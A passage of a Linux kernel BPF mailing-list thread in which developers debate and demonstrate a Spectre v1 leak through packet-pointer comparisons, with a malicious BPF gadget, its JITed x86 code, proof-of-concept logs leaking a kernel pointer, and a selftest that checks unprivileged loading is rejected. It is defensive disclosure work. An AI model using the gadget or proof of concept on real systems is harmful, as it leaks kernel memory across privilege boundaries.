So there is no chance cpu will execute 'if r2 <= r9' speculatively.I have to agree that the above approach sounds plausible in theory and I've never seen anyone propose to mispredict a branch this way. Which also means that no known speculation attack was crafted. I suspect that's a strong sign that
the above approach is indeed a theory and it doesn't work in practice. Likely because the whole cache is flushed the subsequent misses will spoil all speculation. For spec v1 to work you need only one slow load in one side of that branch.
The other load and the speculative code after should not miss. When it does the spec code won't be able to leave the breadcrumbs of the leaked bit in the cache.
'Leak full byte' is also 'wishful thinking' imo.
I haven't seen any attack that leaks byte at-a-time.
Quoted 3 lines
So I will insist on seeing a full working exploit before doing anything else here. It's good to discuss this cpu speculation concerns, but we have to stay practical.
I tried this and below you find a patch that leaks the otherwise inaccessible skb_shinfo(skb)->frags[0].bv_page which lies 196 bytes behind skb->data_end from userspace at 100B/h.
However, you are right in that there does not appear to be anything extremely useful behind skb->data_end, destructor_arg is NULL in my setup but I have also not found any code putting a static pointer there. Therefore if it stays like this and we are sure the allocator introduces sufficient randomness to make OOB reads useless, the original patches can stay. If you decide to do this I will be happy to craft a patch that documents that the respective structs should be considered 'public' under Spectre v1 to make sure nobody puts anything sensitive there.
The exploit (if you consider leaking a struct page * and exploit) does not leak more than one bit per mispredict (I did not try that) but flushing data_end from the cache using bpf_loop() indeed appears to have the desired effect (if you remove it, it doesn't work).
Quoted 2 lines
One can find plenty of cases of 'read past
skb->end' under speculation and I'm arguing none of them are exploitable.
I have not looked into those but I guess flushing the cache in between the loads does not happen there.
Here's a shortened session log for using the patch below:
$ lsb_release -a Description: Debian GNU/Linux 11 (bullseye) $ uname -a Linux $HOST 5.10.0-25-cloud-amd64 #1 SMP Debian 5.10.191-1 (2023-08-16) x86_64 GNU/Linux $ lscpu Socket(s): 2 Model name: Intel(R) Xeon(R) CPU E5-2686 v4 @ 2.30GHz Virtualization: VT-x Vulnerability Spectre v1: Mitigation; usercopy/swapgs barriers and __user pointer sanitization $ stress-ng --cache $(nproc) --cache-level 3 & $ ./tools/testing/selftests/bpf/vmtest.sh -- time ./test_progs -t tc_bpf <...> [ 0.297557] smpboot: CPU0: Intel(R) Xeon(R) CPU E5-2686 v4 @ 2.30GHz (family: 0x6, model: 0x4f, stepping: 0x1) <...> userspace guess for *(u64 *)(data+366 = data_end+196) = 0xffffdd2f04159400
You can already see that looks like a pointer. To also let the kernel print the actual value remove the '#if 0' in cls_bpf_classify(). With that you can check whether the middle bits are correct:
$ ./tools/testing/selftests/bpf/vmtest.sh -- time ./test_progs -t tc_bpf <...> [ 2.399485] kernel skb_shinfo(skb)->frags[0].bv_page [ 2.399485] *(ffff8a7541154670 ?= data+366 = ffff8a7541154670) = ffffe387c4155e00 <...> userspace guess for *(u64 *)(data+366 = data_end+196) = 0xffffe387c4155e00
Misc: Please make sure you always reply-to/cc [email protected] as [email protected] will become unmonitored shortly.
--- net/sched/cls_bpf.c | 22 ++ .../testing/selftests/bpf/prog_tests/tc_bpf.c | 334 +++++++++++++++++- .../testing/selftests/bpf/progs/test_tc_bpf.c | 78 +++- .../selftests/bpf/progs/test_tc_bpf_pkt_ptr.h | 172 +++++++++ .../bpf/progs/test_tc_bpf_pkt_ptr_byte.h | 31 ++ 5 files changed, 625 insertions(+), 12 deletions(-) mode change 100644 => 100755 tools/testing/selftests/bpf/prog_tests/tc_bpf.c mode change 100644 => 100755 tools/testing/selftests/bpf/progs/test_tc_bpf.c create mode 100644 tools/testing/selftests/bpf/progs/test_tc_bpf_pkt_ptr.h create mode 100644 tools/testing/selftests/bpf/progs/test_tc_bpf_pkt_ptr_byte.h
net/sched/cls_bpf.c +22 -0
@@ -99,6 +99,28 @@ TC_INDIRECT_SCOPE int cls_bpf_classify(struct sk_buff *skb,__skb_push (skb, skb->mac_len);bpf_compute_data_pointers (skb); filter_res =bpf_prog_run (prog->filter, skb); + +#if 0 +// Print after program to not mess with the cache. +static atomic_t init =ATOMIC_INIT (0 ); +if (unlikely (skb_headlen (skb) ==170 &&atomic_inc_return (&init) ==1 )) { +barrier_nospec (); +struct bpf_skb_data_end *cb = (struct bpf_skb_data_end *)skb->cb; +pr_err_ratelimited ( +"skb = %px, skb_headlen(skb) = %d\n" +"data *(%px) = %px\n" +"data_end *(%px) = %px\n" +"kernel skb_shinfo(skb)->frags[0].bv_page\n\t*(%px ?= data+366 = %px) = %px\n" , + skb,skb_headlen (skb), + &(skb->data), skb->data, + &(cb->data_end), cb->data_end, + &skb_shinfo (skb)->frags[0 ].bv_page, + ((char *) skb->data) +366 , +skb_shinfo (skb)->frags[0 ].bv_page + ); + } +#endif +__skb_pull (skb, skb->mac_len); }else {bpf_compute_data_pointers (skb);
tools/testing/selftests/bpf/prog_tests/tc_bpf.c +330 -4
353 lines not on this page · raw message
tools/testing/selftests/bpf/progs/test_tc_bpf.c +70 -8
89 lines not on this page · raw message
tools/testing/selftests/bpf/progs/test_tc_bpf_pkt_ptr.h new file +172 -0
172 lines not on this page · raw message
tools/testing/selftests/bpf/progs/test_tc_bpf_pkt_ptr_byte.h new file +31 -0
@@ -0,0 +1,31 @@ +#define MASK 1 +#include "test_tc_bpf_pkt_ptr.h" +#undef MASK + +#define MASK 2 +#include "test_tc_bpf_pkt_ptr.h" +#undef MASK + +#define MASK 4 +#include "test_tc_bpf_pkt_ptr.h" +#undef MASK + +#define MASK 8 +#include "test_tc_bpf_pkt_ptr.h" +#undef MASK + +#define MASK 16 +#include "test_tc_bpf_pkt_ptr.h" +#undef MASK + +#define MASK 32 +#include "test_tc_bpf_pkt_ptr.h" +#undef MASK + +#define MASK 64 +#include "test_tc_bpf_pkt_ptr.h" +#undef MASK + +#define MASK 128 +#include "test_tc_bpf_pkt_ptr.h" +#undef MASK
Signature · 12 lines
2.30.2 Amazon Development Center Germany GmbH Krausenstr. 38 10117 Berlin Geschaeftsfuehrung: Christian Schlaeger, Jonathan Weiss Eingetragen am Amtsgericht Charlottenburg unter HRB 149173 B Sitz: Berlin Ust-ID: DE 289 237 879
Re: [PATCH 2/3] Revert "bpf: Fix issue in verifying allow_ptr_leaks"
In reply to Luis GerhorstQuoted 89 lines · Luis Gerhorst
This reverts commit
d75e30dddf73449bc2d10bb8e2f1a2c446bc67a2.To mitigate Spectre v1, the verifier relies on static analysis to deduct constant pointer bounds, which can then be enforced by rewriting pointer arithmetic [1] or index masking [2]. This relies on the fact that every memory region to be accessed has a static upper bound and every date below that bound is accessible. The verifier can only rewrite pointer arithmetic or insert masking instructions to mitigate Spectre v1 if a static upper bound, below of which every access is valid, can be given.
When allowing packet pointer comparisons, this introduces a way for the program to effectively construct an accessible pointer for which no static upper bound is known. Intuitively, this is obvious as a packet might be of any size and therefore 0 is the only statically known upper bound below of which every date is always accessible (i.e., none).
To clarify, the problem is not that comparing two pointers can be used for pointer leaks in the same way in that comparing a pointer to a known scalar can be used for pointer leaks. That is because the "secret" components of the addresses cancel each other out if the pointers are into the same region.
With [3] applied, the following malicious BPF program can be loaded into the kernel without
CAP_PERFMON:r2 = *(u32 *)(r1 + 76) // data
r3 = *(u32 *)(r1 + 80) //data_end
r4 = r2
r4 += 1
if r4 > r3 goto exit
r5 = *(u8 *)(r2 + 0) // speculatively read secret
r5 &= 1 // choose bit to leak
// ... side channel to leak secret bit
exit:
// ...This is jited to the following amd64 code which still contains the gadget:
0: endbr64 4: nopl 0x0(%rax,%rax,1) 9: xchg %ax,%ax b: push %rbp c: mov %rsp,%rbp f: endbr64 13: push %rbx 14: mov 0xc8(%rdi),%rsi // data 1b: mov 0x50(%rdi),%rdx // data_end 1f: mov %rsi,%rcx 22: add $0x1,%rcx 26: cmp %rdx,%rcx 29: ja 0x000000000000003f // branch to mispredict 2b: movzbq 0x0(%rsi),%r8 // speculative load of secret 30: and $0x1,%r8 // choose bit to leak 34: xor %ebx,%ebx 36: cmp %rbx,%r8 39: je 0x000000000000003f // branch based on secret 3b: imul $0x61,%r8,%r8 // leak using port contention side channel 3f: xor %eax,%eax 41: pop %rbx 42: leaveq 43: retqHere I'm using a port contention side channel because storing the secret to the stack causes the verifier to insert an lfence for unrelated reasons (SSB mitigation) which would terminate the speculation.
As Daniel already pointed out to me,
data_endis even attacker controlled as one could send many packets of sufficient length to train the branch prediction into assumingdata_end>= data will never be true. When the attacker then sends a packet with insufficient data, the Spectre v1 gadget leaks the chosen bit of some value that lies behinddata_end.To make it clear that the problem is not the pointer comparison but the missing masking instruction, it can be useful to transform the code above into the following equivalent pseudocode:
r2 = data
r3 =data_end
r6 = ... // index to access, constant does not help
r7 =data_end- data // only known at runtime, could be [0,PKT_MAX) if !(r6 < r7) goto exit
// no masking of index in r6 happens
r2 += r6 // addr. to access
r5 = *(u8 *)(r2 + 0) // speculatively read secret
// ... leak secret as above
Quoted 6 lines
One idea to resolve this while still allowing for unprivileged packet access would be to always allocate a power of 2 for the packet data and then also pass the respective index mask in the skb structure. The verifier would then have to check that this index mask is always applied to the offset before a packet pointer is dereferenced. This patch does not implement this extension, but only reverts [3].
Hi Luis,
The skb pointer comparison is a reasonable operation in a networking bpf prog. If we just prohibit a reasonable operation to prevent a possible spectre v1 attack, it looks a little weird, right ?
Should we figure out a real fix to prevent it ?
Signature · 2 lines
Regards Yafang
Re: [PATCH 2/3] Revert "bpf: Fix issue in verifying allow_ptr_leaks"
Quoted 97 lines · Yafang Shao
Quoted 89 lines · Luis Gerhorst
This reverts commit
d75e30dddf73449bc2d10bb8e2f1a2c446bc67a2.To mitigate Spectre v1, the verifier relies on static analysis to deduct constant pointer bounds, which can then be enforced by rewriting pointer arithmetic [1] or index masking [2]. This relies on the fact that every memory region to be accessed has a static upper bound and every date below that bound is accessible. The verifier can only rewrite pointer arithmetic or insert masking instructions to mitigate Spectre v1 if a static upper bound, below of which every access is valid, can be given.
When allowing packet pointer comparisons, this introduces a way for the program to effectively construct an accessible pointer for which no static upper bound is known. Intuitively, this is obvious as a packet might be of any size and therefore 0 is the only statically known upper bound below of which every date is always accessible (i.e., none).
To clarify, the problem is not that comparing two pointers can be used for pointer leaks in the same way in that comparing a pointer to a known scalar can be used for pointer leaks. That is because the "secret" components of the addresses cancel each other out if the pointers are into the same region.
With [3] applied, the following malicious BPF program can be loaded into the kernel without
CAP_PERFMON:r2 = *(u32 *)(r1 + 76) // data
r3 = *(u32 *)(r1 + 80) //data_end
r4 = r2
r4 += 1
if r4 > r3 goto exit
r5 = *(u8 *)(r2 + 0) // speculatively read secret
r5 &= 1 // choose bit to leak
// ... side channel to leak secret bit
exit:
// ...This is jited to the following amd64 code which still contains the gadget:
0: endbr64 4: nopl 0x0(%rax,%rax,1) 9: xchg %ax,%ax b: push %rbp c: mov %rsp,%rbp f: endbr64 13: push %rbx 14: mov 0xc8(%rdi),%rsi // data 1b: mov 0x50(%rdi),%rdx // data_end 1f: mov %rsi,%rcx 22: add $0x1,%rcx 26: cmp %rdx,%rcx 29: ja 0x000000000000003f // branch to mispredict 2b: movzbq 0x0(%rsi),%r8 // speculative load of secret 30: and $0x1,%r8 // choose bit to leak 34: xor %ebx,%ebx 36: cmp %rbx,%r8 39: je 0x000000000000003f // branch based on secret 3b: imul $0x61,%r8,%r8 // leak using port contention side channel 3f: xor %eax,%eax 41: pop %rbx 42: leaveq 43: retqHere I'm using a port contention side channel because storing the secret to the stack causes the verifier to insert an lfence for unrelated reasons (SSB mitigation) which would terminate the speculation.
As Daniel already pointed out to me,
data_endis even attacker controlled as one could send many packets of sufficient length to train the branch prediction into assumingdata_end>= data will never be true. When the attacker then sends a packet with insufficient data, the Spectre v1 gadget leaks the chosen bit of some value that lies behinddata_end.To make it clear that the problem is not the pointer comparison but the missing masking instruction, it can be useful to transform the code above into the following equivalent pseudocode:
r2 = data
r3 =data_end
r6 = ... // index to access, constant does not help
r7 =data_end- data // only known at runtime, could be [0,PKT_MAX) if !(r6 < r7) goto exit
// no masking of index in r6 happens
r2 += r6 // addr. to access
r5 = *(u8 *)(r2 + 0) // speculatively read secret
// ... leak secret as aboveQuoted 6 lines
One idea to resolve this while still allowing for unprivileged packet access would be to always allocate a power of 2 for the packet data and then also pass the respective index mask in the skb structure. The verifier would then have to check that this index mask is always applied to the offset before a packet pointer is dereferenced. This patch does not implement this extension, but only reverts [3].
Quoted 7 lines
Hi Luis,
The skb pointer comparison is a reasonable operation in a networking bpf prog. If we just prohibit a reasonable operation to prevent a possible spectre v1 attack, it looks a little weird, right ?
Should we figure out a real fix to prevent it ?
I see your point, but this has been the case since Spectre v1 was mitigated for BPF. I actually did a few statistics on that in [1] and >50 out of ~350 programs are rejected because of the Spectre v1 mitigations. However, to repeat: The operation is not completely prohibited, only prohibited without CAP_PERFMON.
Maybe it would be possible to expose the allow_ptr_leaks/bpf_spec_vX flags in sysfs? It would be helpful for debugging, and you could set it to 1 permanently for your purposes. However, I'm not sure if the others would like that...
Another solution I have been working on in [2] is to change the mitigations to insert an lfence instead of rejecting the program entirely. That would have bad performance, but would still be better than completely rejecting the program. However, these patches are far from going upstream currently.
A detail: The patches in [2] currently do not support the case we are discussing here, they only insert fences when the speculative paths fail to verify.
[1] https://sys.cs.fau.de/extern/person/gerhorst/23-03_fgbs-spring-2023-presentation.pdf - Slide 9
[2] https://gitlab.cs.fau.de/un65esoq/linux/-/commits/v6.5-rc6-bpf-spectre-nospec/
Signature · 1 line
Luis
Re: [PATCH 2/3] Revert "bpf: Fix issue in verifying allow_ptr_leaks"
Quoted 109 lines · Luis Gerhorst
Quoted 97 lines · Yafang Shao
Quoted 89 lines · Luis Gerhorst
This reverts commit
d75e30dddf73449bc2d10bb8e2f1a2c446bc67a2.To mitigate Spectre v1, the verifier relies on static analysis to deduct constant pointer bounds, which can then be enforced by rewriting pointer arithmetic [1] or index masking [2]. This relies on the fact that every memory region to be accessed has a static upper bound and every date below that bound is accessible. The verifier can only rewrite pointer arithmetic or insert masking instructions to mitigate Spectre v1 if a static upper bound, below of which every access is valid, can be given.
When allowing packet pointer comparisons, this introduces a way for the program to effectively construct an accessible pointer for which no static upper bound is known. Intuitively, this is obvious as a packet might be of any size and therefore 0 is the only statically known upper bound below of which every date is always accessible (i.e., none).
To clarify, the problem is not that comparing two pointers can be used for pointer leaks in the same way in that comparing a pointer to a known scalar can be used for pointer leaks. That is because the "secret" components of the addresses cancel each other out if the pointers are into the same region.
With [3] applied, the following malicious BPF program can be loaded into the kernel without
CAP_PERFMON:r2 = *(u32 *)(r1 + 76) // data
r3 = *(u32 *)(r1 + 80) //data_end
r4 = r2
r4 += 1
if r4 > r3 goto exit
r5 = *(u8 *)(r2 + 0) // speculatively read secret
r5 &= 1 // choose bit to leak
// ... side channel to leak secret bit
exit:
// ...This is jited to the following amd64 code which still contains the gadget:
0: endbr64 4: nopl 0x0(%rax,%rax,1) 9: xchg %ax,%ax b: push %rbp c: mov %rsp,%rbp f: endbr64 13: push %rbx 14: mov 0xc8(%rdi),%rsi // data 1b: mov 0x50(%rdi),%rdx // data_end 1f: mov %rsi,%rcx 22: add $0x1,%rcx 26: cmp %rdx,%rcx 29: ja 0x000000000000003f // branch to mispredict 2b: movzbq 0x0(%rsi),%r8 // speculative load of secret 30: and $0x1,%r8 // choose bit to leak 34: xor %ebx,%ebx 36: cmp %rbx,%r8 39: je 0x000000000000003f // branch based on secret 3b: imul $0x61,%r8,%r8 // leak using port contention side channel 3f: xor %eax,%eax 41: pop %rbx 42: leaveq 43: retqHere I'm using a port contention side channel because storing the secret to the stack causes the verifier to insert an lfence for unrelated reasons (SSB mitigation) which would terminate the speculation.
As Daniel already pointed out to me,
data_endis even attacker controlled as one could send many packets of sufficient length to train the branch prediction into assumingdata_end>= data will never be true. When the attacker then sends a packet with insufficient data, the Spectre v1 gadget leaks the chosen bit of some value that lies behinddata_end.To make it clear that the problem is not the pointer comparison but the missing masking instruction, it can be useful to transform the code above into the following equivalent pseudocode:
r2 = data
r3 =data_end
r6 = ... // index to access, constant does not help
r7 =data_end- data // only known at runtime, could be [0,PKT_MAX) if !(r6 < r7) goto exit
// no masking of index in r6 happens
r2 += r6 // addr. to access
r5 = *(u8 *)(r2 + 0) // speculatively read secret
// ... leak secret as aboveQuoted 6 lines
One idea to resolve this while still allowing for unprivileged packet access would be to always allocate a power of 2 for the packet data and then also pass the respective index mask in the skb structure. The verifier would then have to check that this index mask is always applied to the offset before a packet pointer is dereferenced. This patch does not implement this extension, but only reverts [3].
Quoted 7 lines
Hi Luis,
The skb pointer comparison is a reasonable operation in a networking bpf prog. If we just prohibit a reasonable operation to prevent a possible spectre v1 attack, it looks a little weird, right ?
Should we figure out a real fix to prevent it ?I see your point, but this has been the case since Spectre v1 was mitigated for BPF. I actually did a few statistics on that in [1] and
Quoted 8 lines
Quoted 1 line
50 out of ~350 programs are rejected because of the Spectre v1
mitigations. However, to repeat: The operation is not completely prohibited, only prohibited without
CAP_PERFMON.Maybe it would be possible to expose the allow_ptr_leaks/bpf_spec_vX flags in sysfs? It would be helpful for debugging, and you could set it to 1 permanently for your purposes. However, I'm not sure if the others would like that...
I really appreciate that idea. I actually shared a similar concept earlier.[1]. Nonetheless, I believe it would be prudent to align with the system settings regarding CPU security mitigations within the BPF subsystem as well. In our production environment, we consistently configure it with "mitigations=off"[2] to enhance performance, essentially deactivating all optional CPU mitigations. Consequently, if we implement a system-wide "mitigations=off" setting, it should also inherently bypass Spectre v1 and Spectre v4 in the BPF subsystem.
Alexei, Daniel, any comments ?
[1]. https://lore.kernel.org/bpf/CALOAHbDDT=paFEdTb1Jsqu7eGkFXAh6A+f21VTrMdAeq5F60kg@mail.gmail.com/
[2]. https://www.kernel.org/doc/html/latest/admin-guide/kernel-parameters.html
Quoted 11 lines
Another solution I have been working on in [2] is to change the mitigations to insert an lfence instead of rejecting the program entirely. That would have bad performance, but would still be better than completely rejecting the program. However, these patches are far from going upstream currently.
A detail: The patches in [2] currently do not support the case we are discussing here, they only insert fences when the speculative paths fail to verify.
Quoted 8 lines
[1]
https://sys.cs.fau.de/extern/person/gerhorst/23-03_fgbs-spring-2023-presentation.pdf
- Slide 9
[2]
https://gitlab.cs.fau.de/un65esoq/linux/-/commits/v6.5-rc6-bpf-spectre-nospec/--
Luis
--
Regards
Yafang
Daniel Borkmann
maintainerRe: [PATCH 2/3] Revert "bpf: Fix issue in verifying allow_ptr_leaks"
Quoted 127 lines · Yafang Shao
Quoted 108 lines · Luis Gerhorst
Quoted 97 lines · Yafang Shao
Quoted 89 lines · Luis Gerhorst
This reverts commit
d75e30dddf73449bc2d10bb8e2f1a2c446bc67a2.To mitigate Spectre v1, the verifier relies on static analysis to deduct constant pointer bounds, which can then be enforced by rewriting pointer arithmetic [1] or index masking [2]. This relies on the fact that every memory region to be accessed has a static upper bound and every date below that bound is accessible. The verifier can only rewrite pointer arithmetic or insert masking instructions to mitigate Spectre v1 if a static upper bound, below of which every access is valid, can be given.
When allowing packet pointer comparisons, this introduces a way for the program to effectively construct an accessible pointer for which no static upper bound is known. Intuitively, this is obvious as a packet might be of any size and therefore 0 is the only statically known upper bound below of which every date is always accessible (i.e., none).
To clarify, the problem is not that comparing two pointers can be used for pointer leaks in the same way in that comparing a pointer to a known scalar can be used for pointer leaks. That is because the "secret" components of the addresses cancel each other out if the pointers are into the same region.
With [3] applied, the following malicious BPF program can be loaded into the kernel without
CAP_PERFMON:r2 = *(u32 *)(r1 + 76) // data
r3 = *(u32 *)(r1 + 80) //data_end
r4 = r2
r4 += 1
if r4 > r3 goto exit
r5 = *(u8 *)(r2 + 0) // speculatively read secret
r5 &= 1 // choose bit to leak
// ... side channel to leak secret bit
exit:
// ...This is jited to the following amd64 code which still contains the gadget:
0: endbr64 4: nopl 0x0(%rax,%rax,1) 9: xchg %ax,%ax b: push %rbp c: mov %rsp,%rbp f: endbr64 13: push %rbx 14: mov 0xc8(%rdi),%rsi // data 1b: mov 0x50(%rdi),%rdx // data_end 1f: mov %rsi,%rcx 22: add $0x1,%rcx 26: cmp %rdx,%rcx 29: ja 0x000000000000003f // branch to mispredict 2b: movzbq 0x0(%rsi),%r8 // speculative load of secret 30: and $0x1,%r8 // choose bit to leak 34: xor %ebx,%ebx 36: cmp %rbx,%r8 39: je 0x000000000000003f // branch based on secret 3b: imul $0x61,%r8,%r8 // leak using port contention side channel 3f: xor %eax,%eax 41: pop %rbx 42: leaveq 43: retqHere I'm using a port contention side channel because storing the secret to the stack causes the verifier to insert an lfence for unrelated reasons (SSB mitigation) which would terminate the speculation.
As Daniel already pointed out to me,
data_endis even attacker controlled as one could send many packets of sufficient length to train the branch prediction into assumingdata_end>= data will never be true. When the attacker then sends a packet with insufficient data, the Spectre v1 gadget leaks the chosen bit of some value that lies behinddata_end.To make it clear that the problem is not the pointer comparison but the missing masking instruction, it can be useful to transform the code above into the following equivalent pseudocode:
r2 = data
r3 =data_end
r6 = ... // index to access, constant does not help
r7 =data_end- data // only known at runtime, could be [0,PKT_MAX) if !(r6 < r7) goto exit
// no masking of index in r6 happens
r2 += r6 // addr. to access
r5 = *(u8 *)(r2 + 0) // speculatively read secret
// ... leak secret as aboveQuoted 6 lines
One idea to resolve this while still allowing for unprivileged packet access would be to always allocate a power of 2 for the packet data and then also pass the respective index mask in the skb structure. The verifier would then have to check that this index mask is always applied to the offset before a packet pointer is dereferenced. This patch does not implement this extension, but only reverts [3].
Quoted 7 lines
Hi Luis,
The skb pointer comparison is a reasonable operation in a networking bpf prog. If we just prohibit a reasonable operation to prevent a possible spectre v1 attack, it looks a little weird, right ?
Should we figure out a real fix to prevent it ?I see your point, but this has been the case since Spectre v1 was mitigated for BPF. I actually did a few statistics on that in [1] and
Quoted 8 lines
Quoted 1 line
50 out of ~350 programs are rejected because of the Spectre v1
mitigations. However, to repeat: The operation is not completely prohibited, only prohibited without
CAP_PERFMON.Maybe it would be possible to expose the allow_ptr_leaks/bpf_spec_vX flags in sysfs? It would be helpful for debugging, and you could set it to 1 permanently for your purposes. However, I'm not sure if the others would like that...
I really appreciate that idea. I actually shared a similar concept earlier.[1]. Nonetheless, I believe it would be prudent to align with the system settings regarding CPU security mitigations within the BPF subsystem as well. In our production environment, we consistently configure it with "mitigations=off"[2] to enhance performance, essentially deactivating all optional CPU mitigations. Consequently, if we implement a system-wide "mitigations=off" setting, it should also inherently bypass Spectre v1 and Spectre v4 in the BPF subsystem.
Quoted 1 line
Alexei, Daniel, any comments ?
Yes, I think that would be acceptable as a global override. At least I don't see it would make anything worse if the rest of the system has mitigations disabled anyway.
Quoted 28 lines
[1]. https://lore.kernel.org/bpf/CALOAHbDDT=paFEdTb1Jsqu7eGkFXAh6A+f21VTrMdAeq5F60kg@mail.gmail.com/
[2]. https://www.kernel.org/doc/html/latest/admin-guide/kernel-parameters.htmlQuoted 10 lines
Another solution I have been working on in [2] is to change the mitigations to insert an lfence instead of rejecting the program entirely. That would have bad performance, but would still be better than completely rejecting the program. However, these patches are far from going upstream currently.
A detail: The patches in [2] currently do not support the case we are discussing here, they only insert fences when the speculative paths fail to verify.
Quoted 8 lines
[1]
https://sys.cs.fau.de/extern/person/gerhorst/23-03_fgbs-spring-2023-presentation.pdf
- Slide 9
[2]
https://gitlab.cs.fau.de/un65esoq/linux/-/commits/v6.5-rc6-bpf-spectre-nospec/--
Luis--
Regards
Yafang
PATCH 3/3 selftests/bpf: Add selftest for packet-pointer Spectre v1 gadget
In reply to Alexei StarovoitovWhen allowing speculative leaks by enabling packet pointer accesses without CAP_PERFMON (i.e., without having [1] reverted):
$ tools/testing/selftests/bpf/test_progs --name=tc_bpf tc_bpf_non_root:PASS:set_cap_bpf_cap_net_admin 0 nsec tc_bpf_non_root:PASS:disable_cap_sys_admin 0 nsec tc_bpf_non_root:FAIL:test_tc_bpf__open_and_load unexpected pointer: 0x55bbd81969a0 Summary: 0/1 PASSED, 0 SKIPPED, 1 FAILED
With [1] reverted:
$ tools/testing/selftests/bpf/test_progs --name=tc_bpf #238/1 tc_bpf/tc_bpf_root:OK #238/2 tc_bpf/tc_bpf_non_root:OK #238 tc_bpf:OK Summary: 1/2 PASSED, 0 SKIPPED, 0 FAILED
[1] d75e30dddf73449bc2d10bb8e2f1a2c446bc67a2 ("bpf: Fix issue in verifying allow_ptr_leaks")
--- .../testing/selftests/bpf/prog_tests/tc_bpf.c | 37 +++++++- .../testing/selftests/bpf/progs/test_tc_bpf.c | 95 +++++++++++++++++++ 2 files changed, 131 insertions(+), 1 deletion(-)
tools/testing/selftests/bpf/prog_tests/tc_bpf.c +36 -1
@@ -3,6 +3,7 @@#include <test_progs.h> #include <linux/pkt_cls.h> +#include "cap_helpers.h" #include "test_tc_bpf.skel.h" #define LO_IFINDEX 1
@@ -327,7 +328,7 @@ static int test_tc_bpf_api(struct bpf_tc_hook *hook, int fd)return 0 ; } -void test_tc_bpf (void ) +void tc_bpf_root (void ) { DECLARE_LIBBPF_OPTS(bpf_tc_hook, hook, .ifindex = LO_IFINDEX, .attach_point = BPF_TC_INGRESS);
@@ -393,3 +394,37 @@ void test_tc_bpf(void) }test_tc_bpf__destroy (skel); } + +void tc_bpf_non_root (void ) +{ +struct test_tc_bpf *skel =NULL ; +__u64 caps =0 ; +int ret; + +/* In case CAP_BPF and CAP_PERFMON is not set */ + ret =cap_enable_effective (1ULL <<CAP_BPF |1ULL <<CAP_NET_ADMIN , &caps); +if (!ASSERT_OK (ret,"set_cap_bpf_cap_net_admin" )) +return ; + ret =cap_disable_effective (1ULL <<CAP_SYS_ADMIN |1ULL <<CAP_PERFMON ,NULL ); +if (!ASSERT_OK (ret,"disable_cap_sys_admin" )) + goto restore_cap; + + skel =test_tc_bpf__open_and_load (); +if (!ASSERT_ERR_PTR (skel,"test_tc_bpf__open_and_load" )) + goto destroy; + + goto restore_cap; +destroy: +test_tc_bpf__destroy (skel); +restore_cap: +if (caps) +cap_enable_effective (caps,NULL ); +} + +void test_tc_bpf (void ) +{ +if (test__start_subtest ("tc_bpf_root" )) +tc_bpf_root (); +if (test__start_subtest ("tc_bpf_non_root" )) +tc_bpf_non_root (); +}
tools/testing/selftests/bpf/progs/test_tc_bpf.c +95 -0
104 lines not on this page · raw message
Signature · 12 lines
2.40.1 Amazon Development Center Germany GmbH Krausenstr. 38 10117 Berlin Geschaeftsfuehrung: Christian Schlaeger, Jonathan Weiss Eingetragen am Amtsgericht Charlottenburg unter HRB 149173 B Sitz: Berlin Ust-ID: DE 289 237 879
Re: [RFC PATCH bpf-next 1/2] bpf: Add bpf_current_capable kfunc
In reply to Daniel BorkmannQuoted 90 lines · Daniel Borkmann
Quoted 88 lines · Yafang Shao
Quoted 85 lines · Alexei Starovoitov
Quoted 64 lines · Yafang Shao
Quoted 62 lines · Alexei Starovoitov
Quoted 60 lines · Yafang Shao
Quoted 18 lines · Yonghong Song
Quoted 17 lines · Yafang Shao
Add a new
bpf_current_capablekfunc to check whether the current task has a specific capability. In our use case, we will use it in a lsm bpf program to help identify if the user operation is permitted.Signed-off-by Yafang Shao <[email protected]>--- kernel/bpf/helpers.c | 6 ++++++ 1 file changed, 6 insertions(+)kernel/bpf/helpers.c +0
-0@@ -2429,6 +2429,11 @@ __bpf_kfunc void bpf_rcu_read_unlock(void)rcu_read_unlock (); }Quoted 8 lines
kernel/bpf/helpers.c __bpf_kfunc void bpf_rcu_read_unlock(void) · line 2435
Quoted 4 lines
kernel/bpf/helpers.c +4
-0+__bpf_kfunc bool bpf_current_capable(int cap) +{ +return has_capability (current, cap); +}Since you are testing against 'current' capabilities, I assume that the context should be process. Otherwise, you are testing against random task which does not make much sense.
It is in the process context.
Quoted 7 lines
Since you are testing against 'current' cap, and if the capability for that task is stable, you do not need this kfunc. You can test cap in user space and pass it into the bpf program.
But if the cap for your process may change in the middle of run, then you indeed need bpf prog to test capability in real time. Is this your use case and could you describe in in more detail?
After we convert the capability of our networking bpf program from
CAP_SYS_ADMINto CAP_BPF+CAP_NET_ADMIN to enhance the security, we encountered the "pointer comparison prohibited" error, becauseallow_ptr_leaksis enabled only whenCAP_PERFMONis set. However, if we enable theCAP_PERFMONfor the networking bpf program, it can run tracing bpf prog,perf_eventbpf prog and etc, that is not expected by us.Hence we are planning to use a lsm bpf program to disallow it from running other bpf programs. In our lsm bpf program we will check the capability of processes, if the process has
cap_net_admin,cap_bpfandcap_perfmonbut don't havecap_sys_adminwe will refuse it to run tracing andperf_eventbpf program. While if a process hascap_bpfandcap_perfmonbut doesn't havecap_net_admin, that said it is a bpf program which wants to run trace bpf, we will allow it.We can't use
lsm_cgroupbecause it is supported on cgroup2 only, while we're still using cgroup1.Another possible solution is enable
allow_ptr_leaksforcap_net_adminas well, but after I checked the commit which introduces thecap_bpfandcap_perfmon[1], I think we wouldn't like to do it.Quoted 7 lines
Quoted 4 lines
Sorry. None of these options are acceptable.
The idea of introducing a
bpf_current_capable()kfunc just to work around a deficiency in the verifier is not sound.So what should we do then?
Just enabling thecap_perfmonfor it? That does not sound as well ...Yonghong already pointed out upthread that comparison of two packet pointers is not a pointer leak. See this code:
} else if (!try_match_pkt_pointers(insn, dst_reg, ®s[insn->src_reg], this_branch, other_branch) && is_pointer_value(env, insn->dst_reg)) { verbose(env, "R%d pointer comparison prohibited\n", insn->dst_reg); return -EACCES; }It's not clear why it doesn't address your case.
Quoted 8 lines
Quoted 2 lines
It can address the issue.
It seems we should do the code change below.I presume in your actual program you also access the IP header (otherwise it would be quite useless), and as you mentioned above, you would like this to be accessible for just
CAP_BPF+CAP_NET_ADMIN. TheCAP_PERFMONrestriction is there for a reason, that is, to be on same cap level as tracing programs as you could craft Spectre v1 style access. It's not a deficiency.
Hi Daniel,
We also hit an error caused by bpf_bypass_spec_v1 in our networking-bpf with cap_net_admin+cap_bpf.
Here is a simple reproducer,
#include <linux/pkt_cls.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/bpf.h>
